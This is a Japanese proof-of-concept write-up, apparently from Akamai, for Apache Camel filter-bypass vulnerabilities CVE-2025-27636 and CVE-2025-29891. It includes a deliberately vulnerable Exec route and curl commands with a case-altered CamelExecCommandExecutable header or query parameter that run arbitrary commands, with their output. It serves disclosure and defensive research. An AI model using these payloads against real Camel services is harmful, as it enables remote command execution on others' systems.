
Apache Camel の Exec コンポーネントを介してヘッダーおよびパラメータのフィルタリングバイパス(CVE-2025-27636、CVE-2025-29891)を悪用し、リモートコード実行を実証する概念実証。
CVE-2025–27636 と CVE-2025-29891 は、Apache Camel の脆弱性であり、以下のバージョンに影響します: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. これらの脆弱性を悪用すると、攻撃者は内部の Camel メソッドを実行できる可能性があります。
以下は、RCE を達成するために悪用され得る Camel Exec コンポーネントを利用した、脆弱なサンプルアプリケーションです。他の Camel コンポーネントも同様の方法で悪用される可能性があります。
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
このアプリは、"whoami" コマンドを実行し、その結果をクライアントに返すことを目的とした HTTP エンドポイントを公開しています。 "Exec" Camel コンポーネントは、コード内で静的に定義されたコマンドを実行するように設定されています。
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
コマンドは静的ですが、CamelExecCommandExecutable ヘッダーを渡すことで上書きできます。これは(ドキュメントで指定されているとおり)静的 URI を上書きします。 Apache Camel はこのようなヘッダーをフィルタリングするはずですが、大文字小文字の処理が不適切なため、"CAmelExecCommandExecutable" というヘッダーを渡すとフィルターをバイパスします。
次のコマンドを実行すると、静的な "whoami" コマンドが上書きされ、代わりに任意のコマンドが実行されます:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
また、CamelExecCommandArgs ヘッダーを指定して引数を渡すこともできます:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CamelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
「通常の」ヘッダーを渡すと、悪用は失敗し、静的な "whoami" コマンドが通常どおり実行されることがわかります:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
当初、リクエストヘッダーが唯一の悪用ベクトルであると考えられていました。しかし、Akamai のセキュリティ研究チームが Apache Camel 開発チームに追加のベクトルを報告し、CVE-2025-29891 が割り当てられることになりました。 この問題は CVE-2025-27636 と同じフィルタリングの欠陥に起因しており、リクエストパラメータを通じて内部メソッドを呼び出すことを可能にします。
次の例では、クエリパラメータとして “CAmelExecCommandExecutable” を指定すると、元のヘッダーベクトルと同様に、任意のコマンド実行につながることがわかります:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
CVE-2025-27636 を修正するために実装された元のパッチはこの問題も解決するため、最新バージョンの Apache Camel を使用するアプリケーションは、この悪用ベクトルに対して脆弱ではありません。
Copyright 2025 Akamai Technologies Inc.
Apache License、Version 2.0(以下「本ライセンス」)に基づいてライセンスされています。 本ライセンスに準拠する場合を除き、このファイルを使用することはできません。 本ライセンスのコピーは、以下の場所から入手できます。
http://www.apache.org/licenses/LICENSE-2.0
適用される法律で要求される場合、または書面で同意された場合を除き、本ライセンスの下で配布されるソフトウェアは、 「現状のまま」(AS IS)ベースで配布され、 明示または黙示を問わず、いかなる種類の保証も条件もありません。 特定の許可および制限については、 本ライセンスを参照してください。